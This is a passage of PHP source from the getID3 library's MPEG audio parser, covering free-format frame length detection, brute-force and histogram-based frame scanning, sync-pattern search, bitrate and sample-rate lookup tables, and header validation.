			} elseif (!empty($firstframetestarray['mpeg']['audio']['framelength']) && (($nextframetestoffset + $firstframetestarray['mpeg']['audio']['framelength']) > $info['avdataend'])) {

				// it's not the end of the file, but there's not enough data left for another frame, so assume it's garbage/padding and return OK
				return true;

			} else {

				// next frame is not valid, note the error and fail, so scanning can contiue for a valid frame sequence
				$this->warning('Frame at offset ('.$offset.') is valid, but the next one at ('.$nextframetestoffset.') is not.');

				return false;
			}
		}
		return true;
	}

	/**
	 * @param int  $offset
	 * @param bool $deepscan
	 *
	 * @return int|false
	 */
	public function FreeFormatFrameLength($offset, $deepscan=false) {
		$info = &$this->getid3->info;

		$this->fseek($offset);
		$MPEGaudioData = $this->fread(32768);

		$SyncPattern1 = substr($MPEGaudioData, 0, 4);
		// may be different pattern due to padding
		$SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) | 0x02).$SyncPattern1[3];
		if ($SyncPattern2 === $SyncPattern1) {
			$SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) & 0xFD).$SyncPattern1[3];
		}

		$framelength = false;
		$framelength1 = strpos($MPEGaudioData, $SyncPattern1, 4);
		$framelength2 = strpos($MPEGaudioData, $SyncPattern2, 4);
		if ($framelength1 > 4) {
			$framelength = $framelength1;
		}
		if (($framelength2 > 4) && ($framelength2 < $framelength1)) {
			$framelength = $framelength2;
		}
		if (!$framelength) {

			// LAME 3.88 has a different value for modeextension on the first frame vs the rest
			$framelength1 = strpos($MPEGaudioData, substr($SyncPattern1, 0, 3), 4);
			$framelength2 = strpos($MPEGaudioData, substr($SyncPattern2, 0, 3), 4);

			if ($framelength1 > 4) {
				$framelength = $framelength1;
			}
			if (($framelength2 > 4) && ($framelength2 < $framelength1)) {
				$framelength = $framelength2;
			}
			if (!$framelength) {
				$this->error('Cannot find next free-format synch pattern ('.getid3_lib::PrintHexBytes($SyncPattern1).' or '.getid3_lib::PrintHexBytes($SyncPattern2).') after offset '.$offset);
				return false;
			} else {
				$this->warning('ModeExtension varies between first frame and other frames (known free-format issue in LAME 3.88)');
				$info['audio']['codec']   = 'LAME';
				$info['audio']['encoder'] = 'LAME3.88';
				$SyncPattern1 = substr($SyncPattern1, 0, 3);
				$SyncPattern2 = substr($SyncPattern2, 0, 3);
			}
		}

		if ($deepscan) {

			$ActualFrameLengthValues = array();
			$nextoffset = $offset + $framelength;
			while ($nextoffset < ($info['avdataend'] - 6)) {
				$this->fseek($nextoffset - 1);
				$NextSyncPattern = $this->fread(6);
				if ((substr($NextSyncPattern, 1, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 1, strlen($SyncPattern2)) == $SyncPattern2)) {
					// good - found where expected
					$ActualFrameLengthValues[] = $framelength;
				} elseif ((substr($NextSyncPattern, 0, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 0, strlen($SyncPattern2)) == $SyncPattern2)) {
					// ok - found one byte earlier than expected (last frame wasn't padded, first frame was)
					$ActualFrameLengthValues[] = ($framelength - 1);
					$nextoffset--;
				} elseif ((substr($NextSyncPattern, 2, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 2, strlen($SyncPattern2)) == $SyncPattern2)) {
					// ok - found one byte later than expected (last frame was padded, first frame wasn't)
					$ActualFrameLengthValues[] = ($framelength + 1);
					$nextoffset++;
				} else {
					$this->error('Did not find expected free-format sync pattern at offset '.$nextoffset);
					return false;
				}
				$nextoffset += $framelength;
			}
			if (count($ActualFrameLengthValues) > 0) {
				$framelength = intval(round(array_sum($ActualFrameLengthValues) / count($ActualFrameLengthValues)));
			}
		}
		return $framelength;
	}

	/**
	 * @return bool
	 */
	public function getOnlyMPEGaudioInfoBruteForce() {
		$MPEGaudioHeaderDecodeCache   = array();
		$MPEGaudioHeaderValidCache    = array();
		$MPEGaudioHeaderLengthCache   = array();
		$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
		$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
		$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
		$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
		$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
		$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
		$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
		$LongMPEGversionLookup        = array();
		$LongMPEGlayerLookup          = array();
		$LongMPEGbitrateLookup        = array();
		$LongMPEGpaddingLookup        = array();
		$LongMPEGfrequencyLookup      = array();
		$Distribution                 = array();
		$Distribution['bitrate']      = array();
		$Distribution['frequency']    = array();
		$Distribution['layer']        = array();
		$Distribution['version']      = array();
		$Distribution['padding']      = array();

		$info = &$this->getid3->info;
		$this->fseek($info['avdataoffset']);

		$max_frames_scan = 5000;
		$frames_scanned  = 0;

		$previousvalidframe = $info['avdataoffset'];
		while ($this->ftell() < $info['avdataend']) {
			set_time_limit(30);
			$head4 = $this->fread(4);
			if (strlen($head4) < 4) {
				break;
			}
			if ($head4[0] != "\xFF") {
				for ($i = 1; $i < 4; $i++) {
					if ($head4[$i] == "\xFF") {
						$this->fseek($i - 4, SEEK_CUR);
						continue 2;
					}
				}
				continue;
			}
			if (!isset($MPEGaudioHeaderDecodeCache[$head4])) {
				$MPEGaudioHeaderDecodeCache[$head4] = self::MPEGaudioHeaderDecode($head4);
			}
			if (!isset($MPEGaudioHeaderValidCache[$head4])) {
				$MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$head4], false, false);
			}
			if ($MPEGaudioHeaderValidCache[$head4]) {

				if (!isset($MPEGaudioHeaderLengthCache[$head4])) {
					$LongMPEGversionLookup[$head4]   = $MPEGaudioVersionLookup[$MPEGaudioHeaderDecodeCache[$head4]['version']];
					$LongMPEGlayerLookup[$head4]     = $MPEGaudioLayerLookup[$MPEGaudioHeaderDecodeCache[$head4]['layer']];
					$LongMPEGbitrateLookup[$head4]   = $MPEGaudioBitrateLookup[$LongMPEGversionLookup[$head4]][$LongMPEGlayerLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['bitrate']];
					$LongMPEGpaddingLookup[$head4]   = (bool) $MPEGaudioHeaderDecodeCache[$head4]['padding'];
					$LongMPEGfrequencyLookup[$head4] = $MPEGaudioFrequencyLookup[$LongMPEGversionLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['sample_rate']];
					$MPEGaudioHeaderLengthCache[$head4] = self::MPEGaudioFrameLength(
						$LongMPEGbitrateLookup[$head4],
						$LongMPEGversionLookup[$head4],
						$LongMPEGlayerLookup[$head4],
						$LongMPEGpaddingLookup[$head4],
						$LongMPEGfrequencyLookup[$head4]);
				}
				if ($MPEGaudioHeaderLengthCache[$head4] > 4) {
					$WhereWeWere = $this->ftell();
					$this->fseek($MPEGaudioHeaderLengthCache[$head4] - 4, SEEK_CUR);
					$next4 = $this->fread(4);
					if ($next4[0] == "\xFF") {
						if (!isset($MPEGaudioHeaderDecodeCache[$next4])) {
							$MPEGaudioHeaderDecodeCache[$next4] = self::MPEGaudioHeaderDecode($next4);
						}
						if (!isset($MPEGaudioHeaderValidCache[$next4])) {
							$MPEGaudioHeaderValidCache[$next4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$next4], false, false);
						}
						if ($MPEGaudioHeaderValidCache[$next4]) {
							$this->fseek(-4, SEEK_CUR);

							$Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] = isset($Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]]) ? ++$Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] : 1;
							$Distribution['layer'][$LongMPEGlayerLookup[$head4]] = isset($Distribution['layer'][$LongMPEGlayerLookup[$head4]]) ? ++$Distribution['layer'][$LongMPEGlayerLookup[$head4]] : 1;
							$Distribution['version'][$LongMPEGversionLookup[$head4]] = isset($Distribution['version'][$LongMPEGversionLookup[$head4]]) ? ++$Distribution['version'][$LongMPEGversionLookup[$head4]] : 1;
							$Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] = isset($Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])]) ? ++$Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] : 1;
							$Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] = isset($Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]]) ? ++$Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] : 1;
							if (++$frames_scanned >= $max_frames_scan) {
								$pct_data_scanned = getid3_lib::SafeDiv($this->ftell() - $info['avdataoffset'], $info['avdataend'] - $info['avdataoffset']);
								$this->warning('too many MPEG audio frames to scan, only scanned first '.$max_frames_scan.' frames ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.');
								foreach ($Distribution as $key1 => $value1) {
									foreach ($value1 as $key2 => $value2) {
										$Distribution[$key1][$key2] = $pct_data_scanned ? round($value2 / $pct_data_scanned) : 1;
									}
								}
								break;
							}
							continue;
						}
					}
					unset($next4);
					$this->fseek($WhereWeWere - 3);
				}

			}
		}
		foreach ($Distribution as $key => $value) {
			ksort($Distribution[$key], SORT_NUMERIC);
		}
		ksort($Distribution['version'], SORT_STRING);
		$info['mpeg']['audio']['bitrate_distribution']   = $Distribution['bitrate'];
		$info['mpeg']['audio']['frequency_distribution'] = $Distribution['frequency'];
		$info['mpeg']['audio']['layer_distribution']     = $Distribution['layer'];
		$info['mpeg']['audio']['version_distribution']   = $Distribution['version'];
		$info['mpeg']['audio']['padding_distribution']   = $Distribution['padding'];
		if (count($Distribution['version']) > 1) {
			$this->error('Corrupt file - more than one MPEG version detected');
		}
		if (count($Distribution['layer']) > 1) {
			$this->error('Corrupt file - more than one MPEG layer detected');
		}
		if (count($Distribution['frequency']) > 1) {
			$this->error('Corrupt file - more than one MPEG sample rate detected');
		}


		$bittotal = 0;
		foreach ($Distribution['bitrate'] as $bitratevalue => $bitratecount) {
			if ($bitratevalue != 'free') {
				$bittotal += ($bitratevalue * $bitratecount);
			}
		}
		$info['mpeg']['audio']['frame_count']  = array_sum($Distribution['bitrate']);
		if ($info['mpeg']['audio']['frame_count'] == 0) {
			$this->error('no MPEG audio frames found');
			return false;
		}
		$info['mpeg']['audio']['bitrate']      = ($bittotal / $info['mpeg']['audio']['frame_count']);
		$info['mpeg']['audio']['bitrate_mode'] = ((count($Distribution['bitrate']) > 0) ? 'vbr' : 'cbr');
		$info['mpeg']['audio']['sample_rate']  = getid3_lib::array_max($Distribution['frequency'], true);

		$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
		$info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode'];
		$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
		$info['audio']['dataformat']   = 'mp'.getid3_lib::array_max($Distribution['layer'], true);
		$info['fileformat']            = $info['audio']['dataformat'];

		return true;
	}

	/**
	 * @param int  $avdataoffset
	 * @param bool $BitrateHistogram
	 *
	 * @return bool
	 */
	public function getOnlyMPEGaudioInfo($avdataoffset, $BitrateHistogram=false) {
		// looks for synch, decodes MPEG audio header

		$info = &$this->getid3->info;

		static $MPEGaudioVersionLookup;
		static $MPEGaudioLayerLookup;
		static $MPEGaudioBitrateLookup;
		if (empty($MPEGaudioVersionLookup)) {
			$MPEGaudioVersionLookup = self::MPEGaudioVersionArray();
			$MPEGaudioLayerLookup   = self::MPEGaudioLayerArray();
			$MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray();
		}

		$this->fseek($avdataoffset);
		$sync_seek_buffer_size = min(128 * 1024, $info['avdataend'] - $avdataoffset);
		if ($sync_seek_buffer_size <= 0) {
			$this->error('Invalid $sync_seek_buffer_size at offset '.$avdataoffset);
			return false;
		}
		$header = $this->fread($sync_seek_buffer_size);
		$sync_seek_buffer_size = strlen($header);
		$SynchSeekOffset = 0;
		$SyncSeekAttempts = 0;
		$SyncSeekAttemptsMax = 1000;
		$FirstFrameThisfileInfo = null;
		while ($SynchSeekOffset < $sync_seek_buffer_size) {
			if ((($avdataoffset + $SynchSeekOffset)  < $info['avdataend']) && !$this->feof()) {

				if ($SynchSeekOffset > $sync_seek_buffer_size) {
					// if a synch's not found within the first 128k bytes, then give up
					$this->error('Could not find valid MPEG audio synch within the first '.round($sync_seek_buffer_size / 1024).'kB');
					if (isset($info['audio']['bitrate'])) {
						unset($info['audio']['bitrate']);
					}
					if (isset($info['mpeg']['audio'])) {
						unset($info['mpeg']['audio']);
					}
					if (empty($info['mpeg'])) {
						unset($info['mpeg']);
					}
					return false;
				}
			}

			if (($SynchSeekOffset + 1) >= strlen($header)) {
				$this->error('Could not find valid MPEG synch before end of file');
				return false;
			}

			if (($header[$SynchSeekOffset] == "\xFF") && ($header[($SynchSeekOffset + 1)] > "\xE0")) { // possible synch detected
				if (++$SyncSeekAttempts >= $SyncSeekAttemptsMax) {
					// https://github.com/JamesHeinrich/getID3/issues/286
					// corrupt files claiming to be MP3, with a large number of 0xFF bytes near the beginning, can cause this loop to take a very long time
					// should have escape condition to avoid spending too much time scanning a corrupt file
					// if a synch's not found within the first 128k bytes, then give up
					$this->error('Could not find valid MPEG audio synch after scanning '.$SyncSeekAttempts.' candidate offsets');
					if (isset($info['audio']['bitrate'])) {
						unset($info['audio']['bitrate']);
					}
					if (isset($info['mpeg']['audio'])) {
						unset($info['mpeg']['audio']);
					}
					if (empty($info['mpeg'])) {
						unset($info['mpeg']);
					}
					return false;
				}
				$FirstFrameAVDataOffset = null;
				if (!isset($FirstFrameThisfileInfo) && !isset($info['mpeg']['audio'])) {
					$FirstFrameThisfileInfo = $info;
					$FirstFrameAVDataOffset = $avdataoffset + $SynchSeekOffset;
					if (!$this->decodeMPEGaudioHeader($FirstFrameAVDataOffset, $FirstFrameThisfileInfo, false)) {
						// if this is the first valid MPEG-audio frame, save it in case it's a VBR header frame and there's
						// garbage between this frame and a valid sequence of MPEG-audio frames, to be restored below
						unset($FirstFrameThisfileInfo);
					}
				}

				$dummy = $info; // only overwrite real data if valid header found
				if ($this->decodeMPEGaudioHeader($avdataoffset + $SynchSeekOffset, $dummy, true)) {
					$info = $dummy;
					$info['avdataoffset'] = $avdataoffset + $SynchSeekOffset;
					switch (isset($info['fileformat']) ? $info['fileformat'] : '') {
						case '':
						case 'id3':
						case 'ape':
						case 'mp3':
							$info['fileformat']          = 'mp3';
							$info['audio']['dataformat'] = 'mp3';
							break;
					}
					if (isset($FirstFrameThisfileInfo) && isset($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode']) && ($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode'] == 'vbr')) {
						if (!(abs($info['audio']['bitrate'] - $FirstFrameThisfileInfo['audio']['bitrate']) <= 1)) {
							// If there is garbage data between a valid VBR header frame and a sequence
							// of valid MPEG-audio frames the VBR data is no longer discarded.
							$info = $FirstFrameThisfileInfo;
							$info['avdataoffset']        = $FirstFrameAVDataOffset;
							$info['fileformat']          = 'mp3';
							$info['audio']['dataformat'] = 'mp3';
							$dummy                       = $info;
							unset($dummy['mpeg']['audio']);
							$GarbageOffsetStart = $FirstFrameAVDataOffset + $FirstFrameThisfileInfo['mpeg']['audio']['framelength'];
							$GarbageOffsetEnd   = $avdataoffset + $SynchSeekOffset;
							if ($this->decodeMPEGaudioHeader($GarbageOffsetEnd, $dummy, true, true)) {
								$info = $dummy;
								$info['avdataoffset'] = $GarbageOffsetEnd;
								$this->warning('apparently-valid VBR header not used because could not find '.$this->mp3_valid_check_frames.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.'), but did find valid CBR stream starting at '.$GarbageOffsetEnd);
							} else {
								$this->warning('using data from VBR header even though could not find '.$this->mp3_valid_check_frames.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.')');
							}
						}
					}
					if (isset($info['mpeg']['audio']['bitrate_mode']) && ($info['mpeg']['audio']['bitrate_mode'] == 'vbr') && !isset($info['mpeg']['audio']['VBR_method'])) {
						// VBR file with no VBR header
						$BitrateHistogram = true;
					}

					if ($BitrateHistogram) {

						$info['mpeg']['audio']['stereo_distribution']  = array('stereo'=>0, 'joint stereo'=>0, 'dual channel'=>0, 'mono'=>0);
						$info['mpeg']['audio']['version_distribution'] = array('1'=>0, '2'=>0, '2.5'=>0);

						if ($info['mpeg']['audio']['version'] == '1') {
							if ($info['mpeg']['audio']['layer'] == 3) {
								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0);
							} elseif ($info['mpeg']['audio']['layer'] == 2) {
								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0, 384000=>0);
							} elseif ($info['mpeg']['audio']['layer'] == 1) {
								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 64000=>0, 96000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 288000=>0, 320000=>0, 352000=>0, 384000=>0, 416000=>0, 448000=>0);
							}
						} elseif ($info['mpeg']['audio']['layer'] == 1) {
							$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0, 176000=>0, 192000=>0, 224000=>0, 256000=>0);
						} else {
							$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 8000=>0, 16000=>0, 24000=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0);
						}

						$dummy = array('error'=>$info['error'], 'warning'=>$info['warning'], 'avdataend'=>$info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
						$synchstartoffset = $info['avdataoffset'];
						$this->fseek($info['avdataoffset']);

						// you can play with these numbers:
						$max_frames_scan  = 50000;
						$max_scan_segments = 10;

						// don't play with these numbers:
						$FastMode = false;
						$SynchErrorsFound = 0;
						$frames_scanned   = 0;
						$this_scan_segment = 0;
						$frames_scan_per_segment = ceil($max_frames_scan / $max_scan_segments);
						$pct_data_scanned = 0;
						for ($current_segment = 0; $current_segment < $max_scan_segments; $current_segment++) {
							$frames_scanned_this_segment = 0;
							$scan_start_offset = array();
							if ($this->ftell() >= $info['avdataend']) {
								break;
							}
							$scan_start_offset[$current_segment] = max($this->ftell(), $info['avdataoffset'] + round($current_segment * (($info['avdataend'] - $info['avdataoffset']) / $max_scan_segments)));
							if ($current_segment > 0) {
								$this->fseek($scan_start_offset[$current_segment]);
								$buffer_4k = $this->fread(4096);
								for ($j = 0; $j < (strlen($buffer_4k) - 4); $j++) {
									if (($buffer_4k[$j] == "\xFF") && ($buffer_4k[($j + 1)] > "\xE0")) { // synch detected
										if ($this->decodeMPEGaudioHeader($scan_start_offset[$current_segment] + $j, $dummy, false, false, $FastMode)) {
											$calculated_next_offset = $scan_start_offset[$current_segment] + $j + $dummy['mpeg']['audio']['framelength'];
											if ($this->decodeMPEGaudioHeader($calculated_next_offset, $dummy, false, false, $FastMode)) {
												$scan_start_offset[$current_segment] += $j;
												break;
											}
										}
									}
								}
							}
							$synchstartoffset = $scan_start_offset[$current_segment];
							while (($synchstartoffset < $info['avdataend']) && $this->decodeMPEGaudioHeader($synchstartoffset, $dummy, false, false, $FastMode)) {
								$FastMode = true;
								$thisframebitrate = $MPEGaudioBitrateLookup[$MPEGaudioVersionLookup[$dummy['mpeg']['audio']['raw']['version']]][$MPEGaudioLayerLookup[$dummy['mpeg']['audio']['raw']['layer']]][$dummy['mpeg']['audio']['raw']['bitrate']];

								if (empty($dummy['mpeg']['audio']['framelength'])) {
									$SynchErrorsFound++;
									$synchstartoffset++;
								} else {
									getid3_lib::safe_inc($info['mpeg']['audio']['bitrate_distribution'][$thisframebitrate]);
									getid3_lib::safe_inc($info['mpeg']['audio']['stereo_distribution'][$dummy['mpeg']['audio']['channelmode']]);
									getid3_lib::safe_inc($info['mpeg']['audio']['version_distribution'][$dummy['mpeg']['audio']['version']]);
									$synchstartoffset += $dummy['mpeg']['audio']['framelength'];
								}
								$frames_scanned++;
								if ($frames_scan_per_segment && (++$frames_scanned_this_segment >= $frames_scan_per_segment)) {
									$this_pct_scanned = getid3_lib::SafeDiv($this->ftell() - $scan_start_offset[$current_segment], $info['avdataend'] - $info['avdataoffset']);
									if (($current_segment == 0) && (($this_pct_scanned * $max_scan_segments) >= 1)) {
										// file likely contains < $max_frames_scan, just scan as one segment
										$max_scan_segments = 1;
										$frames_scan_per_segment = $max_frames_scan;
									} else {
										$pct_data_scanned += $this_pct_scanned;
										break;
									}
								}
							}
						}
						if ($pct_data_scanned > 0) {
							$this->warning('too many MPEG audio frames to scan, only scanned '.$frames_scanned.' frames in '.$max_scan_segments.' segments ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.');
							foreach ($info['mpeg']['audio'] as $key1 => $value1) {
								if (!preg_match('#_distribution$#i', $key1)) {
									continue;
								}
								foreach ($value1 as $key2 => $value2) {
									$info['mpeg']['audio'][$key1][$key2] = round($value2 / $pct_data_scanned);
								}
							}
						}

						if ($SynchErrorsFound > 0) {
							$this->warning('Found '.$SynchErrorsFound.' synch errors in histogram analysis');
							//return false;
						}

						$bittotal     = 0;
						$framecounter = 0;
						foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitratevalue => $bitratecount) {
							$framecounter += $bitratecount;
							if ($bitratevalue != 'free') {
								$bittotal += ($bitratevalue * $bitratecount);
							}
						}
						if ($framecounter == 0) {
							$this->error('Corrupt MP3 file: framecounter == zero');
							return false;
						}
						$info['mpeg']['audio']['frame_count'] = getid3_lib::CastAsInt($framecounter);
						$info['mpeg']['audio']['bitrate']     = ($bittotal / $framecounter);

						$info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate'];


						// Definitively set VBR vs CBR, even if the Xing/LAME/VBRI header says differently
						$distinct_bitrates = 0;
						foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitrate_value => $bitrate_count) {
							if ($bitrate_count > 0) {
								$distinct_bitrates++;
							}
						}
						if ($distinct_bitrates > 1) {
							$info['mpeg']['audio']['bitrate_mode'] = 'vbr';
						} else {
							$info['mpeg']['audio']['bitrate_mode'] = 'cbr';
						}
						$info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode'];

					}

					break; // exit while()
				}
			}

			$SynchSeekOffset++;
			if (($avdataoffset + $SynchSeekOffset) >= $info['avdataend']) {
				// end of file/data

				if (empty($info['mpeg']['audio'])) {

					$this->error('could not find valid MPEG synch before end of file');
					if (isset($info['audio']['bitrate'])) {
						unset($info['audio']['bitrate']);
					}
					if (isset($info['mpeg']['audio'])) {
						unset($info['mpeg']['audio']);
					}
					if (isset($info['mpeg']) && (!is_array($info['mpeg']) || empty($info['mpeg']))) {
						unset($info['mpeg']);
					}
					return false;

				}
				break;
			}

		}
		$info['audio']['channels']        = $info['mpeg']['audio']['channels'];
		if ($info['audio']['channels'] < 1) {
			$this->error('Corrupt MP3 file: no channels');
			return false;
		}
		$info['audio']['channelmode']     = $info['mpeg']['audio']['channelmode'];
		$info['audio']['sample_rate']     = $info['mpeg']['audio']['sample_rate'];
		return true;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioVersionArray() {
		static $MPEGaudioVersion = array('2.5', false, '2', '1');
		return $MPEGaudioVersion;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioLayerArray() {
		static $MPEGaudioLayer = array(false, 3, 2, 1);
		return $MPEGaudioLayer;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioBitrateArray() {
		static $MPEGaudioBitrate;
		if (empty($MPEGaudioBitrate)) {
			$MPEGaudioBitrate = array (
				'1'  =>  array (1 => array('free', 32000, 64000, 96000, 128000, 160000, 192000, 224000, 256000, 288000, 320000, 352000, 384000, 416000, 448000),
								2 => array('free', 32000, 48000, 56000,  64000,  80000,  96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000, 384000),
								3 => array('free', 32000, 40000, 48000,  56000,  64000,  80000,  96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000)
							   ),

				'2'  =>  array (1 => array('free', 32000, 48000, 56000,  64000,  80000,  96000, 112000, 128000, 144000, 160000, 176000, 192000, 224000, 256000),
								2 => array('free',  8000, 16000, 24000,  32000,  40000,  48000,  56000,  64000,  80000,  96000, 112000, 128000, 144000, 160000),
							   )
			);
			$MPEGaudioBitrate['2'][3] = $MPEGaudioBitrate['2'][2];
			$MPEGaudioBitrate['2.5']  = $MPEGaudioBitrate['2'];
		}
		return $MPEGaudioBitrate;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioFrequencyArray() {
		static $MPEGaudioFrequency;
		if (empty($MPEGaudioFrequency)) {
			$MPEGaudioFrequency = array (
				'1'   => array(44100, 48000, 32000),
				'2'   => array(22050, 24000, 16000),
				'2.5' => array(11025, 12000,  8000)
			);
		}
		return $MPEGaudioFrequency;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioChannelModeArray() {
		static $MPEGaudioChannelMode = array('stereo', 'joint stereo', 'dual channel', 'mono');
		return $MPEGaudioChannelMode;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioModeExtensionArray() {
		static $MPEGaudioModeExtension;
		if (empty($MPEGaudioModeExtension)) {
			$MPEGaudioModeExtension = array (
				1 => array('4-31', '8-31', '12-31', '16-31'),
				2 => array('4-31', '8-31', '12-31', '16-31'),
				3 => array('', 'IS', 'MS', 'IS+MS')
			);
		}
		return $MPEGaudioModeExtension;
	}

	/**
	 * @return array
	 */
	public static function MPEGaudioEmphasisArray() {
		static $MPEGaudioEmphasis = array('none', '50/15ms', false, 'CCIT J.17');
		return $MPEGaudioEmphasis;
	}

	/**
	 * @param string $head4
	 * @param bool   $allowBitrate15
	 *
	 * @return bool
	 */
	public static function MPEGaudioHeaderBytesValid($head4, $allowBitrate15=false) {
		return self::MPEGaudioHeaderValid(self::MPEGaudioHeaderDecode($head4), false, $allowBitrate15);
	}

	/**
	 * @param array $rawarray
	 * @param bool  $echoerrors
	 * @param bool  $allowBitrate15
	 *
	 * @return bool
	 */
	public static function MPEGaudioHeaderValid($rawarray, $echoerrors=false, $allowBitrate15=false) {
		if (!isset($rawarray['synch']) || ($rawarray['synch'] & 0x0FFE) != 0x0FFE) {
			return false;
		}

		static $MPEGaudioVersionLookup;
		static $MPEGaudioLayerLookup;
		static $MPEGaudioBitrateLookup;
		static $MPEGaudioFrequencyLookup;
		static $MPEGaudioChannelModeLookup;
		static $MPEGaudioModeExtensionLookup;
		static $MPEGaudioEmphasisLookup;
		if (empty($MPEGaudioVersionLookup)) {
			$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
			$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
			$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
			$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
			$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
			$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
			$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
		}

		if (isset($MPEGaudioVersionLookup[$rawarray['version']])) {
			$decodedVersion = $MPEGaudioVersionLookup[$rawarray['version']];
		} else {
			echo ($echoerrors ? "\n".'invalid Version ('.$rawarray['version'].')' : '');
			return false;
		}
		if (isset($MPEGaudioLayerLookup[$rawarray['layer']])) {
			$decodedLayer = $MPEGaudioLayerLookup[$rawarray['layer']];
		} else {
			echo ($echoerrors ? "\n".'invalid Layer ('.$rawarray['layer'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioBitrateLookup[$decodedVersion][$decodedLayer][$rawarray['bitrate']])) {
			echo ($echoerrors ? "\n".'invalid Bitrate ('.$rawarray['bitrate'].')' : '');
			if ($rawarray['bitrate'] == 15) {
				// known issue in LAME 3.90 - 3.93.1 where free-format has bitrate ID of 15 instead of 0
				// let it go through here otherwise file will not be identified
				if (!$allowBitrate15) {
					return false;
				}
			} else {
				return false;
			}
		}
		if (!isset($MPEGaudioFrequencyLookup[$decodedVersion][$rawarray['sample_rate']])) {
			echo ($echoerrors ? "\n".'invalid Frequency ('.$rawarray['sample_rate'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioChannelModeLookup[$rawarray['channelmode']])) {
			echo ($echoerrors ? "\n".'invalid ChannelMode ('.$rawarray['channelmode'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioModeExtensionLookup[$decodedLayer][$rawarray['modeextension']])) {
			echo ($echoerrors ? "\n".'invalid Mode Extension ('.$rawarray['modeextension'].')' : '');
			return false;
		}
		if (!isset($MPEGaudioEmphasisLookup[$rawarray['emphasis']])) {
			echo ($echoerrors ? "\n".'invalid Emphasis ('.$rawarray['emphasis'].')' : '');
			return false;
		}
		// These are just either set or not set, you can't mess that up :)
		// $rawarray['protection'];
		// $rawarray['padding'];
		// $rawarray['private'];
		// $rawarray['copyright'];
		// $rawarray['original'];

		return true;
	}

	/**
